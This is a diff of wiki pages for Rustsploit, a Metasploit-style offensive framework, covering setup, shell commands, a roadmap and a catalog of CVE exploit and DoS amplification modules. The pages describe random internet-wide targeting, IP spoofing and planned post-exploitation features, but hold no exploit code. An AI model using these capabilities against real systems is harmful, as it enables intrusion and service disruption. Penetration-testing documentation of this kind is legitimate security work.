||||
- **10 checks:** version disclosure, CRLF injection, PURGE method, variable leakage, merge slashes, header bypass / IP spoofing, alias traversal, `X-Accel-Redirect` bypass, PHP detection, CVE-2017-7529 integer overflow
|
||||
- Results saved to `nginx_pwner_results_{target}.txt`
|
||||
- Prints reminders for manual checks (Redis, CORS, request smuggling)
|
||||
|
||||
### DoS / Stress Testing
|
||||
|
||||
> ⚠️ Authorized testing only. These modules can cause service disruption.
|
||||
|
||||
| Module | Notes |
|
||||
|--------|-------|
|
||||
| `null_syn_exhaustion` | Raw socket, IP spoofing, XorShift128+ RNG, configurable PPS, >1M PPS capable |
|
||||
| `connection_exhaustion_flood` | FD-bounded semaphore, supports infinite mode with graceful Ctrl+C |
|
||||
| `tcp_connection_flood` | DNS pre-resolved, high-concurrency handshake stress, infinite mode |
|
||||
| `http2_rapid_reset` | CVE-2023-44487 — HTTP/2 stream reset flood |
|
||||
|
||||
---
|
||||
|
||||
## Framework-Level Multi-Target Support
|
||||
|
||||
All exploit modules automatically benefit from the framework's multi-target dispatcher. There is no need to implement target iteration inside individual modules. The framework handles:
|
||||
|
||||
- **Comma-separated targets** — `192.168.1.1,192.168.1.2,192.168.1.3`
|
||||
- **CIDR ranges** — `192.168.1.0/24` expands to all hosts in the subnet
|
||||
- **File-based targets** — pass a file path containing one target per line
|
||||
- **Random targets** — `random` or `0.0.0.0/0` generates random public IPs with `EXCLUDED_RANGES` enforcement
|
||||
|
||||
The dispatcher calls the module's `run()` function once per resolved target. Modules only need to handle a single target string.
|
||||
@@ -0,0 +1,59 @@
|
||||
# Future Features Roadmap
|
||||
|
||||
Rustsploit is under active development. Below are some of the major features planned for upcoming releases.
|
||||
|
||||
## Recently Completed
|
||||
|
||||
### 3rd-Party Plugin System
|
||||
The `plugins/` directory is now fully operational. Drop `.rs` files into `src/modules/plugins/` with the standard `pub async fn run(target: &str)` signature and they are auto-discovered at build time. A safety warning is displayed at shell and API startup when plugins are loaded.
|
||||
|
||||
### Framework Services (Metasploit Parity)
|
||||
The following Metasploit-inspired features have been implemented:
|
||||
- **Module Metadata** (`info` command) — CVE, author, rank, description per module
|
||||
- **Vulnerability Check** (`check` command) — Non-destructive verification
|
||||
- **Global Options** (`setg`/`unsetg`) — Persistent options across modules
|
||||
- **Credential Store** (`creds`) — Track discovered credentials with JSON persistence
|
||||
- **Host/Service Tracking** (`hosts`/`services`) — Workspace-based engagement data
|
||||
- **Loot Management** (`loot`) — Structured evidence collection
|
||||
- **Resource Scripts** (`resource`) — Automation from script files
|
||||
- **Console Logging** (`spool`) — Capture all output to file
|
||||
- **Background Jobs** (`run -j`/`jobs`) — Async module execution
|
||||
- **Export/Reporting** (`export`) — JSON, CSV, and summary reports
|
||||
|
||||
---
|
||||
|
||||
## Planned Features
|
||||
|
||||
### 1. Instant Configuration Loading
|
||||
Currently, modules are configured interactively or via API JSON payloads. We plan to add support for instantly loading configuration profiles from disk.
|
||||
- **Goal:** Allow users to save their favorite scan parameters (wordlists, threads, timeouts) to a `.toml` or `.yaml` file and load them instantly.
|
||||
- **Usage Idea:** `run exploits/tomcat_rce --config profiles/aggressive.toml` or `set config profiles/aggressive.toml` in the shell.
|
||||
|
||||
### 2. Dynamic Source Port Modification
|
||||
While we currently support advanced networking like IP spoofing in specific flood modules, we plan to bring dynamic source port control to the framework level.
|
||||
- **Goal:** Allow scanners and exploit modules to bind to specific source ports (e.g., source port 53) to bypass poorly configured firewalls that trust traffic originating from privileged ports.
|
||||
- **Implementation:** Extending the global configuration and socket helpers to accept an optional `bind_port` parameter.
|
||||
|
||||
### 3. Session/Handler Management
|
||||
Add Metasploit-style session management with reverse/bind shell handlers.
|
||||
- **Goal:** Multi/handler listener, session listing/interaction, background sessions.
|
||||
- **Implementation:** Listener framework with TCP/HTTP handlers, session tracking with numeric IDs.
|
||||
|
||||
### 4. Post-Exploitation Modules
|
||||
Add a `post/` module category for post-exploitation tasks.
|
||||
- **Goal:** Privilege escalation checks, persistence mechanisms, credential extraction, lateral movement.
|
||||
- **Implementation:** New module category auto-discovered by build.rs.
|
||||
|
||||
### 5. Network Pivoting
|
||||
Route traffic through compromised hosts.
|
||||
- **Goal:** SOCKS proxy, port forwarding, autoroute through sessions.
|
||||
- **Implementation:** Requires session management (Feature 3) first.
|
||||
|
||||
### 6. Nmap Integration
|
||||
Import scan results directly into the workspace.
|
||||
- **Goal:** `db_import` command for Nmap XML, populate hosts/services automatically.
|
||||
- **Implementation:** Parse Nmap XML output and feed into workspace.
|
||||
|
||||
---
|
||||
|
||||
*If you'd like to contribute to any of these features, please check out the [Contributing Guide](Contributing.md) and open a pull request!*
|
||||
@@ -0,0 +1,146 @@
|
||||
# Getting Started
|
||||
|
||||
Rustsploit is a modular offensive tooling framework for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. It ships an interactive shell, a CLI runner, a REST API server, and an ever-growing library of exploits, scanners, and credential modules.
|
||||
|
||||
---
|
||||
|
||||
## Requirements
|
||||
|
||||
### System Dependencies
|
||||
|
||||
**Debian / Ubuntu / Kali:**
|
||||
```bash
|
||||
sudo apt update
|
||||
sudo apt install pkg-config libssl-dev rustc libdbus-1-dev
|
||||
```
|
||||
|
||||
**Arch Linux:**
|
||||
```bash
|
||||
sudo pacman -S pkgconf openssl freerdp rustc
|
||||
```
|
||||
|
||||
**Gentoo:**
|
||||
```bash
|
||||
sudo emerge dev-libs/openssl dev-util/pkgconf net-misc/freerdp
|
||||
```
|
||||
|
||||
**Fedora / RHEL:**
|
||||
```bash
|
||||
sudo dnf install pkgconf-pkg-config openssl-devel freerdp rustc
|
||||
```
|
||||
|
||||
### Rust & Cargo
|
||||
|
||||
```bash
|
||||
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
|
||||
source $HOME/.cargo/env
|
||||
```
|
||||
|
||||
> The minimum supported Rust version tracks stable. Run `rustup update` to stay current.
|
||||
|
||||
---
|
||||
|
||||
## Clone & Build
|
||||
|
||||
```bash
|
||||
git clone https://github.com/s-b-repo/rustsploit.git
|
||||
cd rustsploit
|
||||
cargo build
|
||||
```
|
||||
|
||||
For a release-optimized binary:
|
||||
```bash
|
||||
cargo build --release
|
||||
# Binary written to target/release/rustsploit
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Run
|
||||
|
||||
### Interactive Shell
|
||||
```bash
|
||||
cargo run
|
||||
```
|
||||
|
||||
### CLI (non-interactive)
|
||||
```bash
|
||||
cargo run -- -m exploits/heartbleed -t 192.168.1.1
|
||||
```
|
||||
|
||||
See [CLI Reference](CLI-Reference.md) for all flags.
|
||||
|
||||
### API Server
|
||||
```bash
|
||||
cargo run -- --api
|
||||
```
|
||||
|
||||
This starts the PQ-encrypted API server on port 8080. On first run it generates a host key pair at `~/.rustsploit/pq_host_key` and prints its fingerprint. Clients must be listed in `~/.rustsploit/pq_authorized_keys` to connect. No TLS or API keys — authentication uses SSH-style post-quantum identity keys. See [API Server](API-Server.md) and [API Usage Examples](API-Usage-Examples.md) for details.
|
||||
|
||||
---
|
||||
|
||||
## Docker Deployment
|
||||
|
||||
Rustsploit ships a provisioning script that builds and launches the API inside Docker.
|
||||
|
||||
### Requirements
|
||||
|
||||
- Docker Engine 24+ (or Docker Desktop)
|
||||
- Docker Compose plugin (`docker compose`) or legacy `docker-compose`
|
||||
- Python 3.8+
|
||||
|
||||
### Interactive Setup
|
||||
|
||||
```bash
|
||||
python3 scripts/setup_docker.py
|
||||
```
|
||||
|
||||
The helper will:
|
||||
1. Confirm you are in the repository root (`Cargo.toml` present).
|
||||
2. Ask how the API should bind (`127.0.0.1`, `0.0.0.0`, detected LAN IP, or custom `host:port`).
|
||||
3. Generate or configure PQ identity keys for the API server.
|
||||
4. Toggle hardening mode and tune the IP limit.
|
||||
5. Generate:
|
||||
- `docker/Dockerfile.api`
|
||||
- `docker/entrypoint.sh`
|
||||
- `.env.rustsploit-docker`
|
||||
- `docker-compose.rustsploit.yml`
|
||||
6. Optionally run `docker compose up -d --build` with BuildKit enabled.
|
||||
|
||||
Existing files are never overwritten without confirmation.
|
||||
|
||||
### Non-Interactive / CI
|
||||
|
||||
```bash
|
||||
python3 scripts/setup_docker.py \
|
||||
--bind 0.0.0.0:8443 \
|
||||
--generate-key \
|
||||
--enable-hardening \
|
||||
# PQ identity keys auto-generated on first run
|
||||
--skip-up \
|
||||
--force \
|
||||
--non-interactive
|
||||
```
|
||||
|
||||
To start the stack later:
|
||||
```bash
|
||||
docker compose -f docker-compose.rustsploit.yml up -d --build
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Privacy / VPN
|
||||
|
||||
The built-in proxy system has been removed in favor of system-level VPN solutions.
|
||||
|
||||
We recommend **[Mullvad VPN](https://mullvad.net)**:
|
||||
- No registration — account numbers generated without email or personal data
|
||||
- Proven no-logs policy with audited infrastructure
|
||||
- WireGuard support for high-performance, low-latency tunneling
|
||||
- Excellent Linux CLI for headless setups
|
||||
|
||||
Connect the VPN on your host before running Rustsploit and all traffic routes through the tunnel automatically.
|
||||
|
||||
---
|
||||
|
||||
> ⚠️ For authorized security testing and research only. Obtain explicit written permission before targeting any system you do not own.
|
||||
@@ -0,0 +1,39 @@
|
||||
# Rustsploit Wiki
|
||||
|
||||
Welcome to the Rustsploit documentation hub. Use the links below to navigate to the relevant guide.
|
||||
|
||||
> ⚠️ Rustsploit is intended for **authorized security testing and research only**. Always obtain explicit written permission before targeting any system you do not own.
|
||||
|
||||
---
|
||||
|
||||
## 📖 Documentation Index
|
||||
|
||||
| Document | Description |
|
||||
|----------|-------------|
|
||||
| [Getting Started](Getting-Started.md) | Installation, build, quick-start, Docker deployment |
|
||||
| [Interactive Shell](Interactive-Shell.md) | Shell walkthrough, command palette, chaining, shortcuts |
|
||||
| [CLI Reference](CLI-Reference.md) | Command-line flags, non-shell usage, output formats |
|
||||
| [API Server](API-Server.md) | REST API startup, endpoints, auth, rate limiting, hardening |
|
||||
| [API Usage Examples](API-Usage-Examples.md) | Practical curl workflows, request/response samples |
|
||||
| [Module Catalog](Module-Catalog.md) | All 181 modules by category — 137 exploits, 24 scanners, 19 creds, 1 plugin |
|
||||
| [Module Development](Module-Development.md) | How to author new modules, lifecycle, dispatcher |
|
||||
| [Security & Validation](Security-Validation.md) | Input validation constants, security patterns, honeypot detection |
|
||||
| [Credential Modules Guide](Credential-Modules-Guide.md) | Best practices for 19 cred modules — mass scan, cfg_prompt_*, concurrency |
|
||||
| [Exploit Modules Guide](Exploit-Modules-Guide.md) | Best practices for 137 exploit modules — multi-target, cfg_prompt_*, validation |
|
||||
| [Utilities & Helpers](Utilities-Helpers.md) | `utils.rs` public API, target normalization, honeypot check |
|
||||
| [Testing & QA](Testing-QA.md) | Build checks (0 errors, 0 warnings), smoke tests, wordlist validation |
|
||||
| [Changelog](Changelog.md) | Release notes and version history (current: v0.4.8) |
|
||||
| [Contributing](Contributing.md) | Fork guide, PR checklist, code style |
|
||||
| [Credits](Credits.md) | Authors, acknowledgements, legal notice |
|
||||
| [Future Features](Future-Features.md) | Roadmap and completed features (plugins, metadata, global options, etc.) |
|
||||
| [About Me](About-Me.md) | Information about the author |
|
||||
| [Donation](Donation.md) | Ways to support the project |
|
||||
|
||||
---
|
||||
|
||||
## Quick Navigation
|
||||
|
||||
- **New user?** → Start with [Getting Started](Getting-Started.md)
|
||||
- **Writing a module?** → See [Module Development](Module-Development.md)
|
||||
- **Using the API?** → See [API Server](API-Server.md) + [API Usage Examples](API-Usage-Examples.md)
|
||||
- **Running from CLI?** → See [CLI Reference](CLI-Reference.md)
|
||||
@@ -0,0 +1,220 @@
|
||||
# Interactive Shell
|
||||
|
||||
Rustsploit's shell (`src/shell.rs`) provides an ergonomic command palette with shortcuts, module/target state tracking, and honeypot detection. Launch it with:
|
||||
|
||||
```bash
|
||||
cargo run
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Command Palette
|
||||
|
||||
All commands are **case-insensitive** and support aliases:
|
||||
|
||||
| Command | Shortcuts | Description |
|
||||
|---------|-----------|-------------|
|
||||
| `help` | `h`, `?` | Show command reference |
|
||||
| `modules` | `list`, `ls`, `m` | List all discovered modules |
|
||||
| `find <kw>` | `search`, `f`, `f1` | Search modules by keyword |
|
||||
| `use <path>` | `u <path>` | Select a module |
|
||||
| `info [path]` | `i` | Show module metadata (CVE, author, rank) |
|
||||
| `back` | `b`, `clear`, `reset` | Deselect current module and target |
|
||||
| `set target <val>` | `t <val>` | Set target (IPv4/IPv6/hostname/CIDR) |
|
||||
| `set subnet <CIDR>` | `sn <CIDR>` | Set target to a CIDR subnet |
|
||||
| `show_target` | `st`, `showtarget` | Display current target |
|
||||
| `clear_target` | `ct`, `cleartarget` | Clear target |
|
||||
| `run` | `go`, `exec` | Execute the selected module |
|
||||
| `run -j` | | Run module as background job |
|
||||
| `run_all` | `runall`, `ra` | Run module against all IPs in subnet |
|
||||
| `check` | `ch` | Non-destructive vulnerability check |
|
||||
| `setg <key> <val>` | `sg` | Set a global option (persists across modules) |
|
||||
| `unsetg <key>` | `ug` | Remove a global option |
|
||||
| `show options` | `so` | Display all global options |
|
||||
| `creds` | | List stored credentials |
|
||||
| `creds add` | | Add a credential interactively |
|
||||
| `creds search <q>` | | Search credentials by host/service/user |
|
||||
| `creds delete <id>` | | Delete a credential by ID |
|
||||
| `creds clear` | | Clear all credentials |
|
||||
| `hosts` | | List tracked hosts |
|
||||
| `hosts add <ip>` | | Add a host to workspace |
|
||||
| `services` | `svcs` | List tracked services |
|
||||
| `services add` | | Add a service interactively |
|
||||
| `notes <ip> <text>` | | Add a note to a host |
|
||||
| `workspace [name]` | `ws` | Show or switch workspaces |
|
||||
| `loot` | | List collected loot |
|
||||
| `loot add` | | Add loot interactively |
|
||||
| `loot search <q>` | | Search loot |
|
||||
| `resource <file>` | `rc` | Execute a resource script |
|
||||
| `makerc <file>` | | Save command history to file |
|
||||
| `spool <file>` | | Log console output to file |
|
||||
| `spool off` | | Stop console logging |
|
||||
| `export json <f>` | | Export all data to JSON |
|
||||
| `export csv <f>` | | Export all data to CSV |
|
||||
| `export summary <f>` | | Export human-readable report |
|
||||
| `jobs` | `j` | List background jobs |
|
||||
| `jobs -k <id>` | | Kill a background job |
|
||||
| `jobs clean` | | Clean up finished jobs |
|
||||
| `exit` | `quit`, `q` | Leave the shell |
|
||||
|
||||
---
|
||||
|
||||
## Example Session
|
||||
|
||||
```text
|
||||
rsf> f1 ssh
|
||||
rsf> u creds/generic/ssh_bruteforce
|
||||
rsf> set target 10.10.10.10
|
||||
rsf> go
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Command Chaining
|
||||
|
||||
Execute multiple commands on one line using the `&` separator:
|
||||
|
||||
```text
|
||||
rsf> u creds/generic/ssh_bruteforce & set target 10.10.10.10 & go
|
||||
rsf> f1 ssh & u creds/generic/ssh_bruteforce & set target 192.168.1.1
|
||||
```
|
||||
|
||||
Commands are parsed and executed left-to-right. Useful for scripting quick workflows.
|
||||
|
||||
---
|
||||
|
||||
## Target Normalization
|
||||
|
||||
When you run `set target`, the value is normalized and validated automatically. Supported formats:
|
||||
|
||||
| Format | Example |
|
||||
|--------|---------|
|
||||
| IPv4 | `192.168.1.1` |
|
||||
| IPv4 + port | `192.168.1.1:8080` |
|
||||
| IPv6 | `::1`, `2001:db8::1` |
|
||||
| IPv6 + port | `[::1]:8080` |
|
||||
| Hostname | `example.com`, `example.com:443` |
|
||||
| URL | `http://example.com:8080` |
|
||||
| CIDR | `192.168.1.0/24`, `2001:db8::/32` |
|
||||
|
||||
Security checks (length, control characters, path traversal) are enforced at the framework level.
|
||||
|
||||
### Multi-Target Support
|
||||
|
||||
The framework-level dispatcher handles multiple target types transparently for all modules. You do not need per-module support for these formats:
|
||||
|
||||
| Format | Example |
|
||||
|--------|---------|
|
||||
| Comma-separated | `t 192.168.1.1, 192.168.1.2, 192.168.1.3` |
|
||||
| CIDR range | `t 192.168.1.0/24` |
|
||||
| File of targets | `t /path/to/targets.txt` |
|
||||
| Random scanning | `t random` or `t 0.0.0.0/0` |
|
||||
|
||||
All modules benefit from this automatically -- the dispatcher expands multi-target values and invokes the module once per resolved target.
|
||||
|
||||
---
|
||||
|
||||
## Honeypot Detection
|
||||
|
||||
After a target is set, Rustsploit automatically runs a honeypot check before module execution:
|
||||
|
||||
- Scans **200 common ports** with a 250 ms timeout each.
|
||||
- If **11 or more** ports are open, it warns that the target is likely a honeypot.
|
||||
- Runs automatically on every `run`/`go` invocation.
|
||||
|
||||
Manual call (from module code): `utils::basic_honeypot_check(&ip).await`
|
||||
|
||||
---
|
||||
|
||||
## Global Options
|
||||
|
||||
Use `setg` to set options that persist across all module executions. These are checked by `cfg_prompt_*` functions after API custom_prompts but before interactive stdin:
|
||||
|
||||
```text
|
||||
rsf> setg port 8080
|
||||
rsf> setg concurrency 50
|
||||
rsf> show options
|
||||
rsf> unsetg port
|
||||
```
|
||||
|
||||
Global options are saved to `~/.rustsploit/global_options.json` and loaded on startup.
|
||||
|
||||
### Common Global Options
|
||||
|
||||
| Option | Example | Effect |
|
||||
|--------|---------|--------|
|
||||
| `port` | `setg port 443` | Default port for all modules |
|
||||
| `source_port` | `setg source_port 31337` | Outbound source port |
|
||||
| `honeypot_detection` | `setg honeypot_detection n` | Disable honeypot checks before `run` |
|
||||
| `timeout` | `setg timeout 30` | Connection timeout (seconds) |
|
||||
| `concurrency` | `setg concurrency 50` | Default thread count |
|
||||
| `verbose` | `setg verbose y` | Verbose output |
|
||||
| `username_wordlist` | `setg username_wordlist users.txt` | Default username wordlist |
|
||||
| `password_wordlist` | `setg password_wordlist pass.txt` | Default password wordlist |
|
||||
| `stop_on_success` | `setg stop_on_success y` | Stop on first valid credential |
|
||||
| `save_results` | `setg save_results y` | Auto-save results to file |
|
||||
| `combo_mode` | `setg combo_mode y` | Full user x pass combination mode |
|
||||
| Any custom key | `setg my_key value` | Modules read via `cfg_prompt_*` |
|
||||
|
||||
---
|
||||
|
||||
## Resource Scripts
|
||||
|
||||
Automate workflows by writing commands to a file and executing them:
|
||||
|
||||
```text
|
||||
rsf> resource scan_network.rc
|
||||
```
|
||||
|
||||
Script format (one command per line, `#` for comments):
|
||||
```text
|
||||
# scan_network.rc
|
||||
set target 192.168.1.0/24
|
||||
use scanners/port_scanner
|
||||
run
|
||||
```
|
||||
|
||||
Auto-loads `~/.rustsploit/startup.rc` on shell startup if it exists. Use `makerc history.rc` to save your command history.
|
||||
|
||||
---
|
||||
|
||||
## Data Management
|
||||
|
||||
Rustsploit tracks engagement data across sessions:
|
||||
|
||||
- **Credentials** (`creds`): Store discovered credentials with host, port, service, username, and type
|
||||
- **Hosts** (`hosts`): Track discovered hosts with hostname, OS, and notes
|
||||
- **Services** (`services`): Track discovered services per host
|
||||
- **Loot** (`loot`): Store collected evidence (configs, hashes, firmware)
|
||||
- **Workspaces** (`workspace`): Isolate data per engagement
|
||||
|
||||
Export all data with `export json report.json`, `export csv report.csv`, or `export summary report.txt`.
|
||||
|
||||
---
|
||||
|
||||
## Background Jobs
|
||||
|
||||
Run modules in the background with `run -j`:
|
||||
|
||||
```text
|
||||
rsf> use creds/generic/ssh_bruteforce
|
||||
rsf> set target 192.168.1.1
|
||||
rsf> run -j
|
||||
[*] Job 1 started: creds/generic/ssh_bruteforce against 192.168.1.1
|
||||
rsf> jobs
|
||||
rsf> jobs -k 1
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Shell Architecture
|
||||
|
||||
Key details from `src/shell.rs`:
|
||||
|
||||
- **`ShellContext`** — stores `current_module`, `current_target`, and `verbose` flag.
|
||||
- **`execute_single_command()`** — the command dispatcher, extracted as a standalone function for resource script support.
|
||||
- **`split_command` / `resolve_command`** — normalize shortcut aliases to canonical keys.
|
||||
- **`render_help()`** — prints the colorized command table.
|
||||
- **Selective persistence** — `global_options.json`, `creds.json`, workspace files, and loot are persisted across sessions in `~/.rustsploit/`. Transient shell state (selected module, current target, verbose flag) is reset on exit.
|
||||
|
||||
Tab completion and command history are powered by `rustyline`.
|
||||
@@ -0,0 +1,379 @@
|
||||
# Module Catalog
|
||||
|
||||
All modules live under `src/modules/` and are auto-discovered by `build.rs`. Use the shell's `modules` command or `find <keyword>` for the live list. Use `info <module>` to see metadata (CVE, author, rank) if available.
|
||||
|
||||
> **Module categories:** `exploits/`, `scanners/`, `creds/`, `plugins/` -- all auto-discovered at build time. Adding a new subdirectory under `src/modules/` automatically creates a new category.
|
||||
|
||||
**Totals:** 137 exploit modules (24 with `check()`), 24 scanners, 19 credential modules, 1 plugin.
|
||||
|
||||
---
|
||||
|
||||
## Exploits
|
||||
|
||||
### Bluetooth
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/bluetooth/wpair` | Hijacks Bluetooth accessories via Google Fast Pair protocol flaw allowing unauthorized bonding, account key injection, and audio interception |
|
||||
|
||||
### Cameras
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/cameras/abus/abussecurity_camera_cve202326609variant1` | Abus security camera LFI, RCE, and SSH root access (CVE-2023-26609) |
|
||||
| `exploits/cameras/acti/acm_5611_rce` | Command injection in ACTi ACM-5611 video cameras for RCE |
|
||||
| `exploits/cameras/avtech/cve_2024_7029_avtech_camera` | AVTECH IP camera remote code execution (CVE-2024-7029) |
|
||||
| `exploits/cameras/hikvision/hikvision_rce_cve_2021_36260` | Hikvision IP camera command injection RCE (CVE-2021-36260) |
|
||||
| `exploits/cameras/reolink/reolink_rce_cve_2019_11001` | Reolink camera authenticated OS command injection via TestEmail (CVE-2019-11001) |
|
||||
| `exploits/cameras/uniview/uniview_nvr_pwd_disclosure` | Uniview NVR remote credential extraction and decoding |
|
||||
|
||||
### Crypto
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/crypto/geth_dos_cve_2026_22862` | Go-Ethereum ECIES panic DoS via malformed encrypted messages (CVE-2026-22862) |
|
||||
| `exploits/crypto/heartbleed` | OpenSSL Heartbleed memory leak exploitation (CVE-2014-0160) |
|
||||
|
||||
### DoS / Stress Testing
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/dos/connection_exhaustion_flood` | FD-bounded TCP connection exhaustion with connect-and-drop |
|
||||
| `exploits/dos/dns_amplification` | Spoofed DNS ANY queries to open resolvers for ~100x amplification |
|
||||
| `exploits/dos/http_flood` | High-speed HTTP GET/POST flood with User-Agent rotation and cache busting |
|
||||
| `exploits/dos/icmp_flood` | Raw ICMP echo request flood with optional source IP spoofing |
|
||||
| `exploits/dos/memcached_amplification` | Spoofed memcached UDP stats requests for ~51,000x amplification |
|
||||
| `exploits/dos/ntp_amplification` | Spoofed NTP MON_GETLIST_1 requests for ~556x amplification |
|
||||
| `exploits/dos/null_syn_exhaustion` | Raw SYN flood with null-byte payloads, IP spoofing, >1M PPS |
|
||||
| `exploits/dos/rudy` | R.U.D.Y. attack: slow POST body drip to exhaust server connection pools |
|
||||
| `exploits/dos/slowloris` | Holds connections open with partial HTTP headers to exhaust connection pool |
|
||||
| `exploits/dos/ssdp_amplification` | Spoofed SSDP M-SEARCH requests for ~30x amplification |
|
||||
| `exploits/dos/syn_ack_flood` | SYN packets to reflectors with spoofed victim source IP for SYN-ACK reflection |
|
||||
| `exploits/dos/tcp_connection_flood` | High-concurrency TCP connection flood with optional RST close and HTTP payload |
|
||||
| `exploits/dos/udp_flood` | High-speed UDP flood with random, null, and pattern payload modes |
|
||||
|
||||
### Frameworks
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/frameworks/apache_tomcat/catkiller_cve_2025_31650` | Apache Tomcat memory leak via invalid HTTP/2 priority headers (CVE-2025-31650) |
|
||||
| `exploits/frameworks/apache_tomcat/cve_2025_24813_apache_tomcat_rce` | Apache Tomcat deserialization RCE (CVE-2025-24813) |
|
||||
| `exploits/frameworks/apache_tomcat/cve_2025_24813_tomcat_put_rce` | Apache Tomcat unauthenticated RCE via partial PUT and Java deserialization (CVE-2025-24813) |
|
||||
| `exploits/frameworks/exim/exim_etrn_sqli_cve_2025_26794` | Exim ETRN time-based SQL injection with SQLite backend (CVE-2025-26794) |
|
||||
| `exploits/frameworks/http2/cve_2023_44487_http2_rapid_reset` | HTTP/2 Rapid Reset DoS via rapid stream creation and reset (CVE-2023-44487) |
|
||||
| `exploits/frameworks/jenkins/jenkins_2_441_lfi` | Jenkins CLI arbitrary file read via args4j @-expansion (CVE-2024-23897) |
|
||||
| `exploits/frameworks/jenkins/jenkins_args4j_rce_cve_2024_24549` | Jenkins CLI args4j file leak via connect-node command error messages |
|
||||
| `exploits/frameworks/jenkins/jenkins_cli_rce_cve_2024_23897` | Jenkins CLI argument injection for arbitrary file read (CVE-2024-23897) |
|
||||
| `exploits/frameworks/mongo/mongobleed` | MongoDB zlib decompression heap memory disclosure (CVE-2025-14847) |
|
||||
| `exploits/frameworks/nginx/nginx_pwner` | Nginx misconfiguration scanner: alias traversal, CRLF injection, PHP detection, and more |
|
||||
| `exploits/frameworks/php/cve_2024_4577` | PHP CGI argument injection on Windows XAMPP for RCE (CVE-2024-4577) |
|
||||
| `exploits/frameworks/wsus/cve_2025_59287_wsus_rce` | Unauthenticated RCE in Windows Server Update Services (CVE-2025-59287) |
|
||||
|
||||
### FTP
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/ftp/ftp_bounce_test` | FTP bounce attack test via PORT commands to third-party hosts |
|
||||
| `exploits/ftp/pachev_ftp_path_traversal_1_0` | Directory traversal in Pachev FTP Server 1.0 to read files outside FTP root |
|
||||
|
||||
### IPMI
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/ipmi/ipmi_enum_exploit` | IPMI enumeration with cipher 0 bypass, default credential brute force, and RAKP hash dumping |
|
||||
|
||||
### Network Infrastructure -- Citrix
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/network_infra/citrix/cve_2025_5777_citrixbleed2` | Citrix NetScaler ADC/Gateway out-of-bounds read in authentication endpoint |
|
||||
|
||||
### Network Infrastructure -- F5
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/network_infra/f5/cve_2025_53521_f5_bigip_rce` | Unauthenticated RCE in F5 BIG-IP Access Policy Manager (CVE-2025-53521) |
|
||||
|
||||
### Network Infrastructure -- Fortinet
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/network_infra/fortinet/forticloud_sso_auth_bypass_cve_2026_24858` | FortiCloud SSO authentication bypass via reused SSO tokens (CVE-2026-24858) |
|
||||
| `exploits/network_infra/fortinet/fortigate_rce_cve_2024_21762` | FortiOS SSL VPN pre-auth heap-based buffer overflow RCE (CVE-2024-21762) |
|
||||
| `exploits/network_infra/fortinet/fortimanager_rce_cve_2024_47575` | FortiManager fgfmd unauthenticated RCE via FGFM registration requests (CVE-2024-47575) |
|
||||
| `exploits/network_infra/fortinet/fortios_auth_bypass_cve_2022_40684` | FortiOS/FortiProxy admin interface auth bypass via crafted HTTP headers (CVE-2022-40684) |
|
||||
| `exploits/network_infra/fortinet/fortios_heap_overflow_cve_2023_27997` | FortiOS SSL VPN out-of-bounds write RCE via /remote/hostcheck_validate (CVE-2023-27997) |
|
||||
| `exploits/network_infra/fortinet/fortios_ssl_vpn_cve_2018_13379` | FortiOS SSL VPN path traversal to leak session files with cleartext credentials (CVE-2018-13379) |
|
||||
| `exploits/network_infra/fortinet/fortisiem_rce_cve_2025_64155` | FortiSIEM phMonitor unauthenticated RCE via argument injection in XML/SSL protocol (CVE-2025-64155) |
|
||||
| `exploits/network_infra/fortinet/fortiweb_rce_cve_2021_22123` | FortiWeb authenticated command injection via SAML server-name parameter (CVE-2021-22123) |
|
||||
| `exploits/network_infra/fortinet/fortiweb_sqli_rce_cve_2025_25257` | FortiWeb unauthenticated SQL injection to webshell deployment (CVE-2025-25257) |
|
||||
|
||||
### Network Infrastructure -- HPE
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/network_infra/hpe/cve_2025_37164_hpe_oneview_rce` | Unauthenticated RCE via REST API command injection in HPE OneView (CVE-2025-37164) |
|
||||
|
||||
### Network Infrastructure -- Ivanti
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/network_infra/ivanti/cve_2025_0282_ivanti_preauth_rce` | Pre-authentication buffer overflow in Ivanti Connect Secure (CVE-2025-0282) |
|
||||
| `exploits/network_infra/ivanti/cve_2025_22457_ivanti_ics_rce` | Stack-based buffer overflow in Ivanti Connect Secure via X-Forwarded-For (CVE-2025-22457) |
|
||||
| `exploits/network_infra/ivanti/ivanti_connect_secure_stack_based_buffer_overflow` | Ivanti Connect Secure stack-based buffer overflow, CVSS 9.0 |
|
||||
| `exploits/network_infra/ivanti/ivanti_epmm_cve_2023_35082` | Ivanti EPMM unauthenticated API access to user information (CVE-2023-35082) |
|
||||
| `exploits/network_infra/ivanti/ivanti_ics_auth_bypass_cve_2024_46352` | Ivanti Connect Secure auth bypass via TOTP backup code path traversal (CVE-2024-46352) |
|
||||
| `exploits/network_infra/ivanti/ivanti_neurons_rce_cve_2025_22460` | Ivanti Neurons for ITSM unauthenticated RCE via deserialization (CVE-2025-22460) |
|
||||
|
||||
### Network Infrastructure -- QNAP
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/network_infra/qnap/qnap_qts_rce_cve_2024_27130` | QNAP QTS stack buffer overflow via share.cgi for RCE (CVE-2024-27130) |
|
||||
|
||||
